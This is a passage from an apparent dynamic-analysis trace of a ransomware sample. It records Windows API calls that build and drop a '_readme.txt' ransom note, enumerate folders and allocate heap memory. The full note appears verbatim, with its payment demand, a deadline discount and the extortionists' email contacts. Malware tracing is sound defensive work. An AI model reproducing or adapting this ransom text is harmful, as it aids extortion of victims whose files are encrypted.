your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.161] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.161] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.161] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.161] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.161] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.161] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.161] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.161] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.162] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.162] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.163] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.164] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.164] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.165] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.165] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.166] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.167] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.167] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.168] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.168] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: 